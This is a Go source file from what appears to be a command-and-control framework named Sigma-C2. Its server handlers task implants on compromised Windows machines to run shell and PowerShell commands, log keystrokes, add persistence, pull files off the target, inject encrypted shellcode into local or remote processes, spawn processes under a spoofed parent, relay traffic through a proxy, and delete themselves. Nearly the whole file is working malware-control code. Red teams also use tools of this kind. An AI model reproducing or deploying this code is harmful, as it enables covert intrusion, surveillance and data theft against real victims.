Files
Sigma-C2/server/agent_commands.go

526 lines
15 KiB
Go

package main
import (
"errors"
"fmt"
"log"
"os"
"al.essio.dev/pkg/shellescape"
)
// Examples of messages from agents:
// KindBear~HEARTBEAT
// KindBear~SYSINFO~Windows 10 Enterprise LTSC 2021 Evaluation (Version 21H2) Build 19044|x64|DESKTOP-5ITPNQS|Tester|0.0.0.0|C:\Users\Tester\Downloads\agent.exe|10136
// KindBear~KEYLOGGER~[Select C:\Users\BvSsh_VirtualUsers\Sigma\agent_3014679776.exe]
// KindBear~FILE
// KindBear~TASKRESULT~123456~ERROR: Unable to get User Principal Name (UPN)
// Example task messages from server:
// TASK~555953~inject~nx8Fk8krVYflY7sR~276
// TASK~555953~inject-remote~nx8Fk8krVYflY7sR~276~8868
// TASK~438818~spawn~nx8Fk8krVYflY7sR~276~C:\Windows\System32\notepad.exe~4704
// TASK-123456~sleep-5
// TASK~upload~/home/user/file.txt~C:\Users\User\Downloads\file.txt
// Change agent's sleep time
func SleepAgent(operatorID string, cmdParts []string) {
agentID := cmdParts[0]
// taskType := cmdParts[1] // "sleep"
taskType := "10"
taskArgs := cmdParts[2] // time in seconds
operatorConn, _ := GetOperatorConn(operatorID)
if _, agentExists := agents.Load(agentID); !agentExists {
logMessage := fmt.Sprintf("Agent %s not found", agentID)
log.Print(logMessage)
response := fmt.Sprintf("Agent %s not found", agentID)
operatorConn.Write([]byte(response))
return
}
logMessage := fmt.Sprintf("Operator %s requested %s %s for agent: %s", operatorID, taskType, taskArgs, agentID)
log.Print(logMessage)
taskHandler.QueueTask(agentID, operatorID, taskType, taskArgs, nil)
response := fmt.Sprintf("Tasked agent to change sleep time to %s seconds", taskArgs)
operatorConn.Write([]byte(response))
}
// Run a CMD or PS command on agent
func RunShell(operatorID string, cmdParts []string) {
agentID := cmdParts[0]
taskType := cmdParts[1] // cmd or powershell
if taskType == "cmd" {
taskType = "20"
} else if taskType == "powershell" {
taskType = "30"
}
taskArgs := cmdParts[2] // command and args
operatorConn, _ := GetOperatorConn(operatorID)
if _, agentExists := agents.Load(agentID); !agentExists {
logMessage := fmt.Sprintf("Agent %s not found", agentID)
log.Print(logMessage)
response := fmt.Sprintf("Agent %s not found", agentID)
operatorConn.Write([]byte(response))
return
}
logMessage := fmt.Sprintf("Operator %s requested %s for agent: %s", operatorID, taskType, agentID)
log.Print(logMessage)
taskHandler.QueueTask(agentID, operatorID, taskType, taskArgs, nil)
response := "Tasked agent to run shell command"
operatorConn.Write([]byte(response))
}
func HandleNavigation(operatorID string, cmdParts []string) {
agentID := cmdParts[0]
taskType := cmdParts[1] // cd pwd dir
taskArgs := cmdParts[2] // path
operatorConn, _ := GetOperatorConn(operatorID)
if _, agentExists := agents.Load(agentID); !agentExists {
logMessage := fmt.Sprintf("Agent %s not found", agentID)
log.Print(logMessage)
response := fmt.Sprintf("Agent %s not found", agentID)
operatorConn.Write([]byte(response))
return
}
logMessage := fmt.Sprintf("Operator %s requested '%s' for agent: %s", operatorID, taskType, agentID)
log.Print(logMessage)
taskHandler.QueueTask(agentID, operatorID, taskType, taskArgs, nil)
response := "Tasked agent to change directory"
operatorConn.Write([]byte(response))
}
func ShowDirectory(operatorID string, cmdParts []string) {
agentID := cmdParts[0]
taskType := cmdParts[1] //ls dir pwd
operatorConn, _ := GetOperatorConn(operatorID)
if _, agentExists := agents.Load(agentID); !agentExists {
logMessage := fmt.Sprintf("Agent %s not found", agentID)
log.Print(logMessage)
response := fmt.Sprintf("Agent %s not found", agentID)
operatorConn.Write([]byte(response))
return
}
logMessage := fmt.Sprintf("Operator %s requested '%s' for agent: %s", operatorID, taskType, agentID)
log.Print(logMessage)
taskHandler.QueueTask(agentID, operatorID, taskType, "", nil)
response := "Tasked agent to list directories"
operatorConn.Write([]byte(response))
}
func GetProcesses(operatorID string, cmdParts []string) {
agentID := cmdParts[0]
// taskType := cmdParts[1] // "ps"
taskType := "140"
operatorConn, _ := GetOperatorConn(operatorID)
if _, agentExists := agents.Load(agentID); !agentExists {
logMessage := fmt.Sprintf("Agent %s not found", agentID)
log.Print(logMessage)
response := fmt.Sprintf("Agent %s not found", agentID)
operatorConn.Write([]byte(response))
return
}
logMessage := fmt.Sprintf("Operator %s requested process list from agent: %s", operatorID, agentID)
log.Print(logMessage)
taskHandler.QueueTask(agentID, operatorID, taskType, "", nil)
response := "Tasked agent to send process list"
operatorConn.Write([]byte(response))
}
// Retrieve system information from a target
func SendSysInfo(operatorID string, cmdParts []string) {
agentID := cmdParts[0]
// taskType := cmdParts[1] // getinfo
taskType := "90"
operatorConn, _ := GetOperatorConn(operatorID)
if _, agentExists := agents.Load(agentID); !agentExists {
logMessage := fmt.Sprintf("Agent %s not found", agentID)
log.Print(logMessage)
response := fmt.Sprintf("Agent %s not found", agentID)
operatorConn.Write([]byte(response))
return
}
logMessage := fmt.Sprintf("Operator %s requested %s for agent: %s", operatorID, taskType, agentID)
log.Print(logMessage)
taskHandler.QueueTask(agentID, operatorID, taskType, "", nil)
response := "Tasked agent to get system info"
operatorConn.Write([]byte(response))
}
// Start or stop keylogger on target
func Keylogger(operatorID string, cmdParts []string) {
agentID := cmdParts[0]
// taskType := cmdParts[1] // "keylogger"
taskArgs := cmdParts[2] // "start" or "stop"
taskType := "150"
operatorConn, _ := GetOperatorConn(operatorID)
if _, agentExists := agents.Load(agentID); !agentExists {
logMessage := fmt.Sprintf("Agent %s not found", agentID)
log.Print(logMessage)
response := fmt.Sprintf("Agent %s not found", agentID)
operatorConn.Write([]byte(response))
return
}
logMessage := fmt.Sprintf("Operator %s requested to %s keylogger on agent: %s", operatorID, taskArgs, agentID)
log.Print(logMessage)
taskHandler.QueueTask(agentID, operatorID, taskType, taskArgs, nil)
response := fmt.Sprintf("Tasked agent to %s keylogger", taskArgs)
operatorConn.Write([]byte(response))
}
// Add or remove persistence via local appdata
func Persistence(operatorID string, cmdParts []string) {
agentID := cmdParts[0]
// taskType := cmdParts[1] // "persistence"
taskArgs := cmdParts[2] // "add" or "remove"
taskType := "160"
operatorConn, _ := GetOperatorConn(operatorID)
if _, agentExists := agents.Load(agentID); !agentExists {
logMessage := fmt.Sprintf("Agent %s not found", agentID)
log.Print(logMessage)
response := fmt.Sprintf("Agent %s not found", agentID)
operatorConn.Write([]byte(response))
return
}
logMessage := fmt.Sprintf("Operator %s requested %s for agent: %s", operatorID, taskType, agentID)
log.Print(logMessage)
taskHandler.QueueTask(agentID, operatorID, taskType, taskArgs, nil)
response := fmt.Sprintf("Tasking agent to %s persistence", taskArgs)
operatorConn.Write([]byte(response))
}
// Download file or folder from agent
func DownloadFile(operatorID string, cmdParts []string) {
agentID := cmdParts[0]
// taskType := cmdParts[1] // "download"
taskArgs := cmdParts[2] // file path
taskType := "170"
operatorConn, _ := GetOperatorConn(operatorID)
if _, agentExists := agents.Load(agentID); !agentExists {
logMessage := fmt.Sprintf("Agent %s not found", agentID)
log.Print(logMessage)
response := fmt.Sprintf("Agent %s not found", agentID)
operatorConn.Write([]byte(response))
return
}
logMessage := fmt.Sprintf("Operator %s requested %s for agent: %s", operatorID, taskType, agentID)
log.Print(logMessage)
taskHandler.QueueTask(agentID, operatorID, taskType, taskArgs, nil)
response := "Tasked agent to send file or folder"
operatorConn.Write([]byte(response))
}
// Upload file to agent
func UploadFile(operatorID string, cmdParts []string) {
agentID := cmdParts[0]
// taskType := cmdParts[1] // upload
localFilePath := cmdParts[2] // local file path
remoteFilePath := shellescape.Quote(cmdParts[3]) // remote file path
taskType := "180" // upload
// Check if the local file exists before proceeding
if _, err := os.Stat(localFilePath); os.IsNotExist(err) {
logMessage := fmt.Sprintf("Local file not found: %s", localFilePath)
log.Print(logMessage)
operatorConn, _ := GetOperatorConn(operatorID)
operatorConn.Write([]byte(logMessage))
return
}
operatorConn, _ := GetOperatorConn(operatorID)
if _, agentExists := agents.Load(agentID); !agentExists {
logMessage := fmt.Sprintf("Agent %s not found", agentID)
log.Print(logMessage)
response := fmt.Sprintf("Agent %s not found", agentID)
operatorConn.Write([]byte(response))
return
}
logMessage := fmt.Sprintf("Operator %s requested to upload %s to %s on agent: %s", operatorID, localFilePath, remoteFilePath, agentID)
log.Print(logMessage)
token := CreateDownloadToken(agentID, localFilePath, remoteFilePath)
taskArgs := fmt.Sprintf("%s~%s", token, shellescape.Quote(remoteFilePath))
taskHandler.QueueTask(agentID, operatorID, taskType, taskArgs, nil)
response := "Tasked agent to receive file from server"
operatorConn.Write([]byte(response))
}
// Find a module and send to task handler
func PrepareModule(operatorID string, cmdParts []string) {
agentID := cmdParts[0] // agent id
taskType := cmdParts[1] // inject-self, inject-remote, spawn
if taskType == "inject-self" {
taskType = "40"
} else if taskType == "inject-remote" {
taskType = "50"
} else if taskType == "spawn" {
taskType = "60"
}
moduleName := cmdParts[2] // popcalc.bin
var taskArg1 string
if len(cmdParts) > 3 {
taskArg1 = cmdParts[3] // exe path for spawn, pid for inject-remote
}
log.Printf("Agent ID: %s", agentID)
log.Printf("Task type: %s", taskType)
log.Printf("Module name: %s", moduleName)
log.Printf("Task arg1: %s", taskArg1)
operatorConn, _ := GetOperatorConn(operatorID)
if _, agentExists := agents.Load(agentID); !agentExists {
msg := fmt.Sprintf("Agent %s not found", agentID)
log.Print(msg)
operatorConn.Write([]byte(msg))
return
}
// // Initial response
response := "Preparing shellcode... Please wait"
// operatorConn.Write([]byte(response))
// Check if module is on the list
module, exists := modules[moduleName]
if !exists {
response := fmt.Sprintf("Module %s is not on the list", moduleName)
operatorConn.Write([]byte(response))
return
}
// Find module on disk
if _, err := os.Stat(module.Path); errors.Is(err, os.ErrNotExist) {
logMessage := fmt.Sprintf("Error: Module %s not found in %s", module.Name, module.Path)
log.Print(logMessage)
response = fmt.Sprintf("Module %s not found in %s", module.Name, module.Path)
operatorConn.Write([]byte(response))
return
}
// Read module data into memory
payload, err := os.ReadFile(module.Path)
if err != nil {
logMessage := fmt.Sprintf("Error reading module %s: %v", module.Name, err)
log.Print(logMessage)
response = fmt.Sprintf("Error reading module %s: %v", module.Path, err)
operatorConn.Write([]byte(response))
return
}
log.Printf("Successfully loaded module data for %s", module.Name)
// Print plaintext
// fmt.Println("Plain text payload:")
// fmt.Println(hex.Dump(payload))
key, _, _ := GenerateKeyAndIV()
// Encrypt before sending
// var iv = []byte("sWDv47xwoMkg5gJY")
var encPayload []byte
if encPayload, err = encryptAES128CTR(payload, []byte(key), []byte(key)); err != nil {
log.Printf("Error ecnrypting: %v", err)
return
}
// Print ciphertest
// fmt.Println("Encrypted payload:")
// fmt.Println(hex.Dump(encPayload))
// Get payload size and convert to int
payloadSize := fmt.Sprintf("%d", len(encPayload))
// Prepare arguments
taskArgs := key + "~" + payloadSize + "~" + taskArg1
// Add ppid arguments if provided with spawn command
if len(cmdParts) > 4 {
taskArg2 := cmdParts[4]
taskArgs += "~" + taskArg2
log.Printf("Task arg2: %s", taskArg2)
}
// Add task to queue
taskHandler.QueueTask(agentID, operatorID, taskType, taskArgs, encPayload)
response = fmt.Sprintf("Tasked agent to run '%s' module", module.Path)
operatorConn.Write([]byte(response))
}
// Start or stop proxy server on agent
func Proxy(operatorID string, cmdParts []string) {
agentID := cmdParts[0]
// taskType := cmdParts[1] // "proxy"
taskArgs := cmdParts[2] // "start|stop"
taskType := "200"
operatorConn, _ := GetOperatorConn(operatorID)
if _, agentExists := agents.Load(agentID); !agentExists {
logMessage := fmt.Sprintf("Agent %s not found", agentID)
log.Print(logMessage)
response := fmt.Sprintf("Agent %s not found", agentID)
operatorConn.Write([]byte(response))
return
}
if taskArgs == "start" {
logMessage := fmt.Sprintf("Operator %s requested %s for agent: %s", operatorID, taskType+" "+taskArgs, agentID)
log.Print(logMessage)
taskHandler.QueueTask(agentID, operatorID, taskType, taskArgs, nil)
response := fmt.Sprintf("Tasked agent to %s", taskArgs+" "+taskType)
operatorConn.Write([]byte(response))
logMessage = "Starting local bridge server"
operatorConn.Write([]byte(logMessage))
go StartRelayServer()
} else if taskArgs == "stop" {
logMessage := fmt.Sprintf("Operator %s requested %s for agent: %s", operatorID, taskType+" "+taskArgs, agentID)
log.Print(logMessage)
taskHandler.QueueTask(agentID, operatorID, taskType, taskArgs, nil)
response := fmt.Sprintf("Tasked agent to %s", taskArgs+" "+taskType)
operatorConn.Write([]byte(response))
logMessage = "Stopping local bridge server"
operatorConn.Write([]byte(logMessage))
StopRelayServer()
}
}
// Task agent to exit
func Kill(operatorID string, cmdParts []string) {
agentID := cmdParts[0]
// taskType := cmdParts[1] // "kill"
taskType := "210"
operatorConn, _ := GetOperatorConn(operatorID)
if _, agentExists := agents.Load(agentID); !agentExists {
logMessage := fmt.Sprintf("Agent %s not found", agentID)
log.Print(logMessage)
response := fmt.Sprintf("Agent %s not found", agentID)
operatorConn.Write([]byte(response))
return
}
logMessage := fmt.Sprintf("Operator %s requested %s for agent: %s", operatorID, taskType, agentID)
log.Print(logMessage)
taskHandler.QueueTask(agentID, operatorID, taskType, "", nil)
response := "Tasked agent to exit"
operatorConn.Write([]byte(response))
}
// Clean up and self delete
func Cleanup(operatorID string, cmdParts []string) {
agentID := cmdParts[0]
// taskType := cmdParts[1] // "cleanup"
taskType := "220"
operatorConn, _ := GetOperatorConn(operatorID)
if _, agentExists := agents.Load(agentID); !agentExists {
logMessage := fmt.Sprintf("Agent %s not found", agentID)
log.Print(logMessage)
response := fmt.Sprintf("Agent %s not found", agentID)
operatorConn.Write([]byte(response))
return
}
logMessage := fmt.Sprintf("Operator %s requested %s for agent: %s", operatorID, taskType, agentID)
log.Print(logMessage)
taskHandler.QueueTask(agentID, operatorID, taskType, "", nil)
response := "Tasking agent to clean up and self delete"
operatorConn.Write([]byte(response))
}